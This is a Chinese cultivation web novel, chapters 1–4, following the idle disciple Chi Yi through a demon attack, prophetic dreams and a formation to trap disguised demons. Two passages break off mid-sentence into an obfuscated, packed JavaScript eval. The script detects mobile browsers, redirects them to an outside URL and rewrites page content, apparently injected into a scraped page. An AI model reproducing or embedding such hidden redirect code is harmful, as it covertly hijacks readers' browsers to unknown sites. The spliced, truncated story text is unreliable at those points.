《修仙就是梦到哪句说哪句》 1. 池宜 百年来,人间式微,仙界内乱,妖界蠢蠢欲动,反而是冥界寂寂无声。 凡历升元年间,天帝后苍设仙途,许凡人修仙封神,一晃百年已过,飞升四个凡人。 上清山是个特别的修仙宝地。弟子只堪堪二百人却分为乐天道,无情道和济世道。 七大执事各收一名亲传弟子,与其他六个仙尊弟子不同的是,凡人升仙的闲渡师尊,他亲传弟子池宜,只到枯荣境,其余弟子最末也是太皓境。 “天上白玉京,十二楼五城。仙人抚我顶,结发受长生。”天门峰刚下早课,便在此时,山道旁掠来一道轻快身影。 池宜一身缙云短打劲装,腰束鎏金宽边软带,裙摆裁得利落,行动间不见半分拖沓,反倒像只随时能跃起来的小雀。袖口与衣摆滚着一圈鹅黄细边,风一吹便轻轻翻飞,添了几分娇俏明艳。 她长发未束成端庄发髻,只松松挽了个高马尾,用一根珊瑚红绳系着,走动时发尾活泼地甩动,几缕碎发贴在额角。 眉眼生得极亮,杏眼弯弯,瞳色清透如琉璃,鼻尖小巧,唇瓣是天然的浅樱色,一笑便露出两颗小小的虎牙,灵气逼人。身上不带半分清冷仙气,反倒像一团暖融融的小火焰,往那冷寂山谷里一站,瞬间便亮了起来。 早膳时间还没过去,池宜找了个地方坐下。 昨夜夜观星象,好吧,昨天是阴天,池宜睡得格外沉,这才耽误了早课。 据不完全统计,这是池宜本月第五次旷早课。 饭吃一半,就被师尊传音过去。 闲渡虽然已经九十——这是人间的算法,听说师尊是凡人成仙,仙龄几何她不清楚。有时候是二十岁的模样,有时候又垂垂老矣。 “今日又是什么借口啊?”闲渡慢悠悠地开口。 “师尊瞧你这话说的,怎么能是借口。人吃五谷杂粮,哪里有不生病的。”池宜清清嗓,有理有据道,“弟子昨夜观星象,见本命星略暗,需回房静养一日,不敢妄动灵力。” 闲渡找出告假条,一字一句道:“六月二十四日,弟子今日灵脉不顺,打坐时总觉气息紊乱,怕在课上扰了师尊清修。” “六月二十一日,弟子昨夜修炼岔了气,一运功就头晕,实在撑不住早课。” “六月十三日,弟子晨起被小灵雀啄伤了手,握不住剑,特向师尊告假。” “六月九日,后山灵植快渴死了,弟子身为乐天道中人,得去救死扶伤。” 闲渡停下宣读,把今天的假条递给池宜:“流程还是要走的,为师是个讲规矩的。” 池宜飞快地写下理由和签名,一手洒脱的字当真是潇洒。 “下个月你没有请假的机会,给为师老老实实出早课。”闲渡收回假条,又叮嘱道:“七月十五是本旬的考核,这次必须拿乙!” 池宜出身不可谓不金贵,父亲天策上将池,母亲嘉敏郡主,作为独生女合该承欢双亲膝下,被捧在手上。 奈何五岁那年怪病,意志混沌,高烧不醒,被云游的闲渡找上门,说是此女有仙缘,收为徒走上修仙路。 然闲渡将她带回后,并未直接修炼筑基,接着云游四海,修养身心。八岁才正式筑基授课。因其五岁心脉受损,这么多年修为也受到其影响,突破瓶颈需要花费更多功夫。十五岁入枯荣境,但三年过去,依旧无法突破真宰境。 闲渡有时反思,是否对池宜太过纵容。每逢偷懒,她撒撒娇,自己也就马马虎虎过去。 转念一想,池宜虽然有时爱偷懒,但到底骨子里是个上进的孩子,没有端着娇气架子。他也探过池宜体内灵脉,平静地如一潭死水,快要摸不到,让他捉不着头脑。 说起考核,池宜坐下来,说:“已经连续三年都是无情道主持考核。师尊你是不知道,他们有多严苛。简直是一群冷漠的人!” 闲渡捏着茶盏轻笑,刚要开口,就见池宜腮帮子一鼓,噼里啪啦倒起苦水。 “去年运功考核,旁人错一下便罢,我不过灵力飘了半寸,叫什么我记不清了,站在台边,眼都不抬给我记了个‘微乱’,害得我回去抄了三遍心法!” 池宜又想起法术考核,书籍实在太多有一本落下没看,临考前掠了一眼只记住个大概。东拉西扯,把志怪故事混进去讲,满场弟子憋笑憋得发抖。 执事长老脸都黑了,而那次的主考官松时生却垂眸提笔,笔尖顿了顿,终是落下一句“心性通透,灵韵天成”,堪堪擦过及格线。 “松时生倒是通情达理,不像无情道本地的。” 松时生名号在无情道如雷贯耳,与池宜同年入山。十二岁时池宜在问剑大会第一次见到松时生,那年松时生夺得第一,名动修仙。十五岁时回江南过及笄下山途中和正出任务的他打过照面,只记得松时生笑起来很是好看。十七岁考核,松时生担任主考官,无论过与否,每个人心情都极好。 池宜痛心,这样好看的人怎么就修了无情道,天下苦无美男子久矣!痛心的池宜,闷头喝了放凉的稀饭。 “你这一说我倒想起来,这次七月的考核,也是松时生这孩子主持。” “松时生虽修无情道,但是为人温润如玉,平日待人和善,想必不会为难我池宜,所以。”池宜打了个响指,脑子里蹦出主意,后面的话却是不敢说出来。 今夜好好放松,去后山烤肉! 池宜虽然缺席了早课,但上午闲渡的授课还是按时到场,勤勤恳恳修炼,恍恍惚惚瞌睡。闲渡看不下去,施法轻弹了一下脑门,池宜的瞌睡虫一下被打跑。 池宜有些不好意思地冲闲渡笑了笑,有模有样地学着一招一式。 今日授课抵御,只见他以横剑格挡,剑身上浮现出淡金色的符文,与纯法修借天地五行之力不同,由剑意撑开,所出招式更具韧性。 闲渡胡子花白,身上穿着墨绿广袖袍,一动一移宛如竹叶飞散。池宜看得入神,耳边响起声音。 “自古符剑法三修,并未严格界限。三者借势,但本质灵力皆来自天地。老夫一生便是致力三修融合,可惜悟性所限,一直未突破同悲境。”闲渡话语中不免有些失落,却也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319201|199030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转瞬即逝,“老夫已然开看,行到水穷处,坐看云起时。老夫将毕生能力传授于你们,能领悟多少都是自己造化。” 闲渡的课三十个人里,只有六个是自愿来的,其余二十四个都是分配过来。 池宜下山出任务,错过了选修时间,只有闲渡的课还剩下名额。 池宜就算是不选闲渡的课,早晚也会被分过来。只有闲渡这个把她从小拉扯的人才清楚,池宜到底适合怎样的功法。 话说上清山开山祖师是个神秘的人,谁也不知道祂的来处与归宿。当初定下修炼准则,分为必修和选修,起初大家还不太明白二者个中意味,运行数十年后,渐渐领悟这中间的妙处。 必修是作为修仙的基石,无分派别。而选修多是注重修士个人能力与优势,发挥所长。 但若放任修士自己选择,有些困难课程便会出现无人选择情况,是以在选修中增设考核,通过七长老的核定才能入选。 后半段课又是长篇大论的理论,池宜画了个吹胡子瞪眼的小老头。 再瞪! “池——宜——!” 争渡争渡,惊起一滩鸥鹭。 …… 池宜被罚抄授课内容,比平时晚了两炷香时间才吃上饭菜。 今日下午无事。上清山全部休整,可以下山采买,也可大梦一场到天明。 池宜用过午膳,小憩之后还想懒床,又实在睡不下去,拿起志怪小说读的津津有味。 读到书生为了树精转世负尽天下人的虐恋情深,池宜实在不忍继续往下读,合上书去练剑缓一缓。 池宜一身月白绣折枝兰草的软缎劲装——乐天道统一练功服。袖口与腰封都束得利落,衬得身形纤细如早春新柳。鬓边只松松挽了个垂云髻,余下几缕墨色碎发随风轻拂,额前刘海被风掀得微扬。腰间悬着羊脂玉小剑珮,不晃眼,只衬得人清润可爱。 手中长剑是轻巧的丙级剑修软剑,剑身薄如蝉翼,泛着淡淡的冷光。她足尖轻点地面,身形翩然旋起,像枝头被风卷起的梨花。抬腕、转剑、斜挑、回环,脑海中浮现着师父的一招一式。 一套剑法收势,池宜微微喘着气,抬手用手背轻轻拭汗,腕间细链轻响,手背与脸颊相触时,带着练剑后的微热。 耳上珍珠坠子沾了点湿意,更显莹润,垂云髻松垮了几分,几缕湿发贴在颈后,随着呼吸轻轻起伏。 风一吹,她轻轻缩了缩脖子,小声“嘶”了一下。 “呼……好像还是有点急了。” 回屋的路上正好路过闲渡师尊的寝殿,把今日课业送过去,谁承想门口小童说师尊有事下山,这几日都不在山上。 池宜生怕唇边的笑意泄了底,快步溜走。 打个瞌睡送来枕头,这几日考勤多找师姐师兄们说说好话就是了。 路上遇见几个身着青白桃衣的济世派的同门,平日他们隐居简出,很少与其他道修交流。池宜热情地和几个人打招呼,他们回应都淡淡的。 真是不是无情道,得了无情病! 2. 烤肉 如果能重来,我一定不会在今天吃烤肉。 距离池宜说出这句后悔的话,还有一个时辰左右。 池宜择了背风处平地,先以石块围出简易火塘,拾来枯枝干叶引火。待火苗稳了,再添粗柴烧成暗红炭火,只留暖意无烟,才好烤肉。 今日同门下山有人猎来野兔送了她一只,去皮洗净,用随身短刀割成厚薄均匀的肉块,串在削好的光滑木签上,只以粗盐抹匀入味。 池宜忙前忙后,夜色越来越深,空中云彩稀薄,北斗星格外明亮。 烤炙一会儿,池宜用匕首割开肉块一角,还残留血丝,内里尚未熟透,只能再等一等。 困意涌上心头,止不住得想和大地来个亲密拥抱,池宜狠心用指尖掐手背,眼前清明起来。 她起身想四处活动筋骨,耳边响起阵阵低鸣,她迅速捂住耳朵,眼前一黑。再睁眼时,眼前的景象被取而代之,从黑夜到白昼,映入眼帘的是江南水乡的青石路。 她站在熟悉的巷口,看见五岁的自己正蹲在门槛上,手里攥着半块桂花糕,朝巷口张望。母亲嘉敏郡主撑着油纸伞走来,弯腰替她擦去嘴角的糕屑,笑着说:“阿宜,等病好了,娘带你去看荷花。” 池宜的鼻尖一酸——她早忘了这场病前的温暖,只记得高烧里混沌的黑暗。她伸手想去碰母亲的衣袖,指尖却穿过了一片光影。 上清山山规,下山归家须有正当理由,无故下山者轻则小惩,重则逐出师门。池宜拜师后在家里待过最久的三天,还是十五岁及笄礼。 上清山与皇室之间有些微妙的平衡,是以嘉敏郡主等也不便多叨扰仙家,平白给女儿和自己惹来不必要麻烦。 “回去吧,那里才是你的归宿。”声音从身后传来,回头看去依然是一片漆黑,眼前的青石路又是那么逼真。 池宜明白自己走进了幻境,拔剑出鞘,直刺幻境中的小池宜。面前的人顷刻间变为烟雾,剑刃上流淌下蓝色的血,面前的生物发出嘶哑的低吼,挥舞着六只手爪。 “訇——”眼前景色变回黑夜,她看不清这是何种生物,到处都是金色的眼睛直勾勾地盯着她,看得她心里发怵。 池宜不清楚他们的实力,就算是都挨她一剑,自己寡不敌众也不一定能活下去。 她不敢拔出刺入的剑,急中生智摸出一张符,是乐天道符修新研究的金盾御灵符。虽然还没投入使用,眼下也只能死马当活马医,嘴里念着符咒,向脚下一掷——无事发生。 怎么当个咸鱼这么难啊! 池宜还不想把命交代在这里,须臾,乐天今日传授的招式涌上来,手腕翻花,调动内力,引力至剑锋催动符纹。指尖凝诀,池宜腰身拧转,借力腾空,衣袂翻涌如鹤,长剑自下而上撩起,一道淡青色剑气破风而出,直逼敌腕。 来的是低等级小妖幻化,接下这一招便魂飞魄散。 池宜灵力甚微,这一招已经是调动了大量内力,看着一地狼藉,眼前景象还是未发生改变。 虎纹斑斓,双翼覆羽如金铁,四蹄踏风,一声清啸如榴石炸裂,直震得山石簌簌。神兽怒而扬蹄,双翼振起狂风,挟着上古神威直扑而来,虎纹泛着凶光,欲将来人碾作尘泥。 池宜看过许多藏经阁的古书,当即认出,面前的正是上古神兽——英招。 让一个枯荣境对战恸天境,天道你讲不讲理?! 池宜有些绝望地看了一眼天。 啊!前途一片黑暗。 英招被收服后,实力大不如前,在天帝身边几万年未现世,如今出现在上清山,异常反常。 英招长鸣一声,如石榴开裂,摄人心魄。英招前爪越伸越长,饶有兴味地打量着池宜。池宜趁这个时候甩出火符,没有直接对英招造成攻击,仅仅是点燃四周景象。 火光刺得英招无法直视前方,但前爪即将落下,池宜心底有个声音念出剑诀:“留云定风,借月斩尘,一剑破万法。” 自天际降下金光,钉住英招前掌,发出阵痛鸣叫。池宜也没讨到好处,灵力反噬得她直不起身,鲜血堵在喉咙,耳朵听不见声音,憋得她想吐。 天穹之上忽有一道素白剑裂云而来。 一人足踏一柄三尺长剑,自九天流云间垂落,独有的青蓝外袍,领口与腰封绣着暗银云纹,墨发仅用一支素玉簪高束,垂落几缕碎发贴在清冷如玉的额角,面容清绝冷峭,眉峰如剑刃削成,眼瞳是一片无波无澜的寒潭,无喜无怒,太是无情道剑修独有的孤绝气质。 他身形甫一落地,周身便凝起一层凛冽剑意,连周遭风露都似要被冻成碎冰。 “松时生,得罪了。” 承宵剑精准迎上英招利爪,金铁交鸣之声响彻山谷。松时生腕骨微沉,剑脊横挡,以无上剑劲卸开神兽巨力,随即脚尖在剑脊一点,身形如惊鸿斜掠,长剑顺势回挽一道银弧,剑气如霜,直削英招双翼羽根。 英招怒啸振翅,狂风卷石如箭雨袭来。 松时生足尖踏空,御剑回旋,剑随身走,周身布下一层密不透风的剑网,碎石触之即碎。他指尖再催剑诀,长剑骤然分化三道剑影,一刺面中、二斩虎纹、三锁双翼,剑招凌厉至极,却不带半分杀意,唯有无情道的清冷与决绝。 神兽暴怒,周身灵光暴涨,欲以幻境迷乱心神——可松时生道心澄澈如冰,无欲无念,幻境触之即溃。他趁隙沉腕收锋,剑身一旋,以点、崩、撩、斩四式连贯而出,剑风如长河奔涌,逼得英招连连后退。 英招振翅跃起,卷起狂风消失在尽头。 池宜半跪在地上,见威胁退散,长叹一声,陷入一片黑暗。 她走入一片海域,头顶的星穹大概是集齐世间所有星象,每一个人的命星都在忽翕闪动。 浩瀚星河,池宜不调动内力根本找不到自己的命星。方才使出的那一招,她想重念一次却是怎么也想不起来。 脚上的鞋子也不知道何时消失,她站立四周都是海,凉意瞬间席卷了身体。 池宜感觉自己的霉运硬到可以砍断木头了。 她怀疑自己又进入幻境。 可是英招已经离开了,她不确定自己本体现在什么情况,她报着“来都来了”的心态,尝试着往水里走一点,四周走走。 越往前走,眼前的星宿越低,触手可及的距离却在靠近时,池宜穿透了这些星辰。 这里安静的出奇,池宜分不清她是已经轮回后上了天界还是在梦里,她对这里感到熟悉又陌生。 怪异的事情发生,方才平静的水面泛起一圈圈涟漪,四面八方游来的鱼围绕她脚边,盘旋上升组成一圈银光,注入体内。 她感觉到自己的心脉正在被修复,暖流融汇到血液里,源源不断的灵力正在汇集,她不由自主地闭上眼。 “缓缓——缓缓——缓——找到了,找到了!” 池宜睁不开眼,仅存的意识能听到是好友祝小筱的声音。躺在祝小筱的怀里,她才彻底昏迷过去。 到嘴的兔肉飞了。 池宜一口闷了苦涩无比的汤药,回味着那个真实的梦境。 “昨日我还未出门就晕了过去,醒来才知道,几大门派都遭遇了不同程度的袭击。济世道那群弟子正在救治门派伤患,玉屏择安派三长老救治无果,刚给各家发了新丧。” 祝小筱是闲渡师尊亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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池宜睁开眼,睫毛轻轻颤了颤,一脸认真:“心诚啊。我这是把最舍不得的东西让出来,才算真的报恩。” 祝小筱忍不住笑出声:“你最舍不得的难道不是酒酿清蒸鸭吗?” “那当然!”池宜理直气壮,又飞快双手合十补了一句,“所以才更显诚意——菩萨您可千万别嫌我俗,我是真的,真的很想报答那位恩人。” “乐天道弟子,速来正天殿。” 周围屋里的传音铃响起,池宜迅速换上一眼就能认出是乐天道弟子的水红青古长衣 池宜还没学会御剑飞行,只能用疾步符加快脚程。好在池宜昨日在梦境里灵力全然恢复,甚至有突破迹象,跑起来脚步轻快。 殿内烛火明明灭灭,空气中还残留着淡淡的灵力余波与硝烟气息。 几名外门弟子捧着竹简与砚台,在廊下依次排开,桌案上笔墨微凉,每一笔落下,都要记下此次遇袭后,本门弟子的安危与去向。 负责登记的是云逍长老座下亲传弟子,神色肃然,声音沉稳: “凡安然归殿者,上前报上名号、居所、有无受伤,逐一登记,莫要遗漏。” 三年一轮代执事,乐天道三名首徒,池宜年龄最小,还需两年才能轮值,并且代执事考核也艰苦无比,若是草草了事,一众弟子也是不能服气。 轮到她时,烛火恰好跳了一下。 “弟子池宜,无恙,只是些许轻伤,不碍事。” 弟子颔首,提笔蘸墨,笔尖落在竹简之上,一笔一划,清晰有力: “池宜,归,安。” 3. “初遇” 各派登记,上清山共六位弟子被打伤后抽走内力,济世道弟子忙了一宿才救回性命。 六位弟子醒来发现内力全无,又哭晕过去。 池宜叮嘱祝小筱,后山英招现世一事暂时不对外说,等师尊回来再做定夺。 昨夜事发仓促,众人只顾着撤离与清点,混乱之中,谁也没顾得上后山那处偏僻地界,若是留下半点妖物痕迹,或是漏网之鱼躲在暗处,迟早都是隐患。 林间草木依旧带着夜露的湿冷,风穿过枝叶,发出细碎沙沙声,空气中还残留着一丝极淡的、不属于山林草木的腥冷气息。 火塘已经被草木灰熄灭——并非池宜所做,事发突然她来不及熄火。 可此刻,火堆边缘,却多了几点异样的深色印记,不似草木污渍,更像是灵力碰撞后留下的残痕。 池宜蹲下身,指尖轻轻一碰,那印记微凉,带着一丝若有若无的妖气,与昨夜袭击她的英招气息不同。 她目光一凝,迅速环顾四周。 草丛有被踩踏的倒伏痕迹,方向并非通往主殿,而是朝着密林更深处延伸,显然是妖物仓皇退走时留下的路径。 更让她心头一紧的是,不远处的树干上,还挂着半片撕裂的衣料,颜色样式,与济世道弟子服饰一模一样。 可是六名内力尽失的弟子中并无济世道弟子。 难道...... 是了!昨日在后山遇到的几个弟子,分明不是人。怪不得没有回应,只怕是同池宜讲话便会暴露身份。 越往深处走,辙印越乱,有掌蹼印也有鞋印,但是,这个鞋印太浅,看不出具体情况。 池宜正蹲下身,指尖刚触到那抹带着妖气的深色印记,耳后忽然掠过一缕极轻、极稳的风。 不是妖兽那种阴寒浊息,而是清如松雪、淡似山月的灵力,静得几乎让人察觉不到。 她心头猛地一紧,下意识翻身后撤,指尖已扣住剑柄,抬头望去。 林间光影错落,一道修长身影立在不远处的松树下。衣袍被风轻轻拂动,气质沉静如渊,明明就站在那里,却像与整片山林融为一体。 池宜瞬间绷紧了身子,声音微紧:“你是谁?” 对方没有立刻上前,只是目光淡淡扫过地上的痕迹,又落回她紧绷的侧脸,语气平静无波:“此地刚经妖袭,痕迹未清,你独自折返,不怕危险?” 他的声音很低,清润如玉石相击。 “我在此处遇袭,昨夜事发仓促,怕有遗漏,才回来查看。” 池宜一怔,才后知后觉反应过来——此人气息纯正,灵力沉稳远胜寻常弟子,绝不是昨夜那些妖物。 他目光微顿,落在池宜紧攥的佩剑上,又扫过地上那几点妖气印记,轻声道:“它们惯于群居,此处只有零星妖气,说明只是路过,并非巢穴。” 池宜猛地抬眼。 他一语道破她心中推测,与她之前所想分毫不差。 池宜扫过他左手的佩剑,隐约有种熟悉的感觉。 他察觉出池宜心里的疑虑,自报家门: “上清无情道,松时生。” 风穿过松林,沙沙作响。 池宜站在原地,忽然想起不久前自己双手合十、一脸虔诚许下的那个愿—— 若能遇见恩人,便吃素三天。 这把佩剑让她确定,昨夜的神秘人就是松时生。 “乐天道,池宜。” 池宜猛地回过神,脸颊一热,连忙上前一步,认认真真对着松时生躬身一礼,语气又认真又带着点小郑重: “昨日多谢出手相助。” 松时生见她这般拘谨又郑重,眸底掠过一丝浅淡温和,他微微俯身,虚扶了一把她还在躬身的手臂,动作轻缓有度,分寸恰到好处,既不让人尴尬,又带着几分妥帖的暖意。 他指尖刚轻触到她衣袖便即刻收回,语气清和温润,声音稳而柔: “同门遇险,没有坐视不理的道理。池宜姑娘不必挂怀。” 他目光落在那半片撕裂的同门衣料上,淡淡开口: “你能从伪装、习性、合力弱点一路追查到这里,心思很细。” 这下池宜放心地说出心中的疑惑。 “它们自始至终都在刻意隐藏真身,宁可耗费心力易容伪装,也不愿以妖形直接现身掠杀,更未曾单独对我出手,皆是三两成队、彼此配合围堵。”她心头微动,一时竟忘了继续道, “所以,他们根本不具备独自作战的能力,唯有抱团合力,才能弥补自身实力的不足。它们觊觎的应当是修行之人体内的灵力,却又忌惮宗门法阵与高手,才出此下策,借伪装掩人耳目。” 松时生颔首,若有所思道:“池宜姑娘很厉害。” 池宜被他这般温声一夸,先是轻轻一怔,随即坦然笑了出来,落落大方地摆了摆手。 她抬眸看向松时生,眼神坦荡明亮,带着几分自在的笑意,半点不扭捏: “不过被你这般称赞,倒是真的很受用。” 上清山不问来处,只要合仙缘一概收下。无情道无欲无求,多是飘零孤儿。松时生没有显赫家世,天资卓绝反而更招来嫉妒,明里暗里有富贵子弟编排捉弄。随着松时生修为大增,这样的事也鲜少发生,只是出身还会被当做谈资。 平日不穿门派服饰时,富贵弟子们都在暗里较劲。若说富贵满山人不如池宜,但池宜应了嘉敏郡主起的名字,做的事情都合时宜,不铺陈夸张,总是让人忘记她是皇家后裔。 松时生总是一副淡然处之的态度,衣裳也是清一色的素色,简直太符合池宜对无情道的刻板印象。 除却上清山的无情道,还有仙游门的无情道,两派经常问剑试锋。 往日池宜总是过嘴瘾说“喜欢松时生”,真真碰上了,池宜还有些不好意思。大概是,听人们口口相传,又同为师尊首徒,是以当作目标。 “你经常来后山。”松时生和她并排走在后山,中间隔着两个人的距离。 池宜神色坦然,侧过头淡淡一笑: “算是常来。后山清静,灵气也比前殿平和,我喜欢来这儿调息、散心。” 她顿了顿,想起地上那堆灰烬,又坦然补上一句: “偶尔也会来这儿烤点东西,图个自在。” 松时生微微颔首,目光轻落于林间小径,声音温和平稳: “此处灵气纯厚,确实适合静心。” “英招最后去了何处?” 松时生脚步微顿,两个前后拉开一些距离,只听一声清越轻鸣—— 铮—— 长剑半寸出鞘,寒光如秋水乍泄,他手腕微沉,灵力自丹田缓缓铺开,不疾不徐,却稳如深潭,顺着剑身漫出一层淡金色的柔和剑光。 剑光所过之处,空气微微泛起涟漪。 原本空无一物的林间,竟渐渐浮现出半透明的光幕,纹路细密如蛛网,在草木间若隐若现——那是被刻意隐藏的结界屏障。 师父当年明明跟她说过,这结界是百年前的老前辈布下的,年头久到都能算宗门古董了 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殿中人一眼看到松时生和池宜一同进殿,有些惊讶,只一眼皆收回目光。 殿内烛火轻摇,众人正为结界与妖袭之事一筹莫展,门外忽然飘来一缕极淡、极清的药香,不浓不烈,闻之便让人心中浮躁散去大半。 众人下意识望去。 一道素色身影缓步走入,步履轻缓如踏云。 扶虞仙尊一身浅碧色仙袍,裙摆绣着细碎的青芝兰草,周身没有半分凌厉威压,只透着温润如水的气息。她容貌端庄温婉,眉眼柔和得像浸在温水里的玉,眼角眉梢都带着常年救人医伤的悲悯与沉静,一看便知是心细如发、擅医擅药之人。 她手中轻托一盏药炉,炉烟袅袅,神色平和淡然。 见殿内众人目光看来,她只是微微颔首,声音轻软却清晰: “天界传召,六位长老远行,宗门有危,我既在,便不能坐视不理。” 池宜看得一怔。 这位常年闭关炼丹、极少过问世事的扶虞仙尊,竟真的亲自出面了。 明明是不问俗事的丹医,一站在那里,却比多少强硬护法都让人安心。 事急从权,由首徒代替师尊决议。 池宜将昨夜经过一五一十说了一遍——除却进入星海一事。 “肉眼看不出,灵力骗不了人。” 扶虞仙尊顿了顿,指尖轻捻一缕药香,淡淡道: “大家有什么想法,随意讨论。” 池宜早在弄清妖怪如何袭击后,已经有了大概对策,当即起身先对着扶虞仙尊微微躬身行礼,礼数周全,而后抬眼,神色沉静,语气平稳清晰: “弟子池宜,有一二计策。” “第一,立刻传令各殿,以宗门灵印逐人核验。真弟子体内都有入门时种下的宗门气脉,妖物就算仿得再像,也仿不出那一缕本命灵息。” 旁边弟子连忙应和。 又听她开口:“第二,只许单人行动,不许三五成群。它们惯于合围偷袭,一旦被迫落单,实力大减,便是露出马脚之时。” “还有一计,”池宜向扶虞仙尊作揖,缓言道:“既然他们图谋的是内力,扶虞仙尊可设缚灵阵,以精纯内力为饵,妖物贪念一起,必不会放过。” 烛火噼啪一响。 “果然同你师父一样,心思通透,鬼点子多。” 4. 捉妖 夜色未散,宗门长廊两侧宫灯摇曳,光影明明暗暗,最易藏污纳垢。 巡查弟子分成数队,逐殿清点,按计只许单人答话、不许聚集成群。 松时生独自一人在苍溪峰。顶处是一大片空地,云气漫过山腰缠上崖壁,松时生常年独坐于此修炼。 他一身素白剑衣被山风拂得轻扬,边角绣着的银线松纹隐在夜色,身姿挺拔如崖畔千年古松,肩背笔直不弯半分。 他左手轻按在膝头的长剑剑柄上,指节分明、骨相清奇,指尖微微扣住冷铁剑鞘,力道稳如磐石,不见半分浮躁;右手自然垂落,指尖偶有细微的灵气流转,与山间清风、峰顶云气相融。周身气息沉凝内敛,明明是闭目静修,却如出鞘前的利剑,藏锋于骨。 昨夜之后,他一直心神不宁,和英招过手,分明没有受到任何袭击,内力却紊乱如麻。 松时生修道十三载,第一次出现这种情况。 另一边天山峰,池宜喝了两大碗荔枝冰酒酿,六月的天愈发炎热,比往年热了不止一点。 江南池家听闻上清山动乱,修书一封,言语间尽是对女儿关切,直言要搬来上清山山脚下。 池宜一边安抚着母亲父亲,又得温习功课——只要一天不说考核延期,池宜就不能彻底心安。 手里的毛笔在眼前渐渐消失,掌下宣纸幻化成河,池宜面前模糊一片,又陷入无边混沌。 池宜刚一睁眼,只觉得天旋地转,鼻尖还沾着点墨香未散,人已经飘在晃晃悠悠的小船上。 她沉默两秒,对着空荡荡的河面无声地叹了口气。 造孽啊! “如果给我一次重来的机会,我一定不会去后山吃那口烤肉。” 池宜双手撑在后脑勺躺在船上,眼神无光的看着天。 船上无桨,海上无风,小船依旧缓慢向前驶去。 这次眼前换个景象,不再是望不到尽头的海面,大约三里地处,有一片汀州。上面隐隐约约立着些什么东西,远处尚看不清。 池宜伸手捏诀,发现在此地内力根本无法调动。 长太息以掩涕兮,哀修仙之多艰! 靠近汀州才发现上面立的一座无名碑,池宜试探地迈出左腿,发现没有什么变化,才双脚站立在汀州一旁。 这个汀州不算大,上面种满了池宜没有见过的花,墓碑前没有放着任何祭品,隐隐约约有些杂草漫过了墓底。 这是多久没有人来祭拜了。 “天地无尘,山河有影” 一道清透的声音自空间深处传来,一个青绿色剪影从墓碑前显现,手里还握着一只画笔。 “敢问前辈,这是何处?” 那人始终背对着池宜,画笔如游龙,池宜想更进一步看清画作,一只脚才迈出去就碰到了结界。 是墓碑在阻止自己。 “不久,答案你自会知道。” 天旋地转,眼前的汀州摇身一变来到的一处村落,枫叶血红,是人间的十月天。 “枫叶儿红,化红妆。” “枫叶儿黄,贴花黄。” “枫叶儿枯,闻啼哭。” “君既为依死,独生依为谁?” “呵呵呵呵——” 漫山遍野枫叶,沙沙声不绝于耳,诡异的哭笑声冲击着池宜的思绪。 好熟悉的童谣,在哪里听过? ——对!是那本志怪小说。 “我想起来了!”池宜在梦境中清醒过来,不知是酷暑难耐而出的汗还是惊吓中发的冷汗,后背汗涔涔打湿了一片,夜风从隙缝的窗户里钻进来,吹得池宜浑身发凉。 “呼——” 池宜掀开被褥找到那本淘来的志怪小说,诡异的来了,没看完的树精后续成了一片空白。 此刻,池宜可以想象有六只乌鸦从她的头上飞过。 翌日晨起,池宜决定和大家待在一起,按时出早课用早膳。 “天菩萨,缓缓你是去蜀地修貔貅道了吗?”祝小筱拿出铜镜在她脸上左照照,右照照。 池宜洗漱时已经发现了眼睛周围有些乌青,擦了水粉也难以掩盖,她只能投降道: “我感觉我遇到了鬼打墙。” “今日我巡查,先走啦。” 池宜拿上没吃完的半块包子,被端着饭菜还跑得急急忙忙的男修撞了个正着,滚烫的热汤洒在男修胳膊上,只有一些溅在了她袖口处,还冒着热气。 包子滚落在地上,沾满了灰尘。 “你快去用凉水冲洗一下,留下疤痕很疼的。” “啊。哦哦,好。”男修把碎瓷片收起来,许是去冲凉水,池宜没有多想去换了身衣服。 换下来的衣服被热粥烫的阴湿一片,从用膳之处到房间也有一炷香左右时间,这股热气还没退散。 “遭了。”池宜心底一沉。 上清弟子皆是凡人之躯,没有被热粥烫了却不呼痛的事情。 他感受不到温度! 池宜换上短打劲装,以最快的速度召集巡查队弟子,赶往事发地。 云华斋里空无一人,唯有滚落在地上的半块包子静静躺着。 方才一瞬的接触,那只妖物残留的阴寒气息早已悄然攀附其上,连温热的包子都沾了一缕淡黑妖气,久久不散。 池宜指尖轻捏那只沾了妖气的包子,将其悬于掌心作为阵引,气息一沉,清声破风: “列阵——!” 话音落定,无情道弟子应声掠至阵心,身姿冷峭如寒松,面无表情地守定中枢,周身灵力稳如深潭。 东南西北四方,乐天道弟子迅速占位,衣袂翻飞间手印齐结——木缚、火焚、金链、水凝四道灵光自指尖腾起,织成四方锁困之网。 天地三锚之位,则由济世道弟子稳稳镇守,一人观星定气,一人接地脉之息,一人守御中庭,三道灵光直贯天地,将阵基牢牢固定。 池宜立在阵侧,眉峰微蹙,眸光清亮而专注,指尖不断捻动法诀,将包子上的妖气稳稳引向阵眼,作为牵引妖物的阵灵。 她唇瓣轻启,与众人一同诵念结阵之咒,声音清越,带着不容动摇的坚定: “天地定序,日月为纲!十二灵枢,列阵八方!” “一锁其形,不得妄动!二锁其神,不得猖狂!三锁其灵,不得遁亡!四锁其气,不得张扬 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四方乐天道弟子手印一凝,木缚生根、火焚燎原、金链紧锁、水凝冰封。 天地三锚的济世道弟子同时吐纳,引星斗之光、地脉之气,将整座阵法牢牢钉在天地之间。 无情道阵眼弟子面色冷肃,中枢之力骤然收紧。 刹那间,整片山林灵气一滞。 话音落,已经逃窜的“弟子”脸色骤变,眼底瞬间掠过一抹妖异青芒,伪装的温和尽数撕裂,露出狰狞本意。 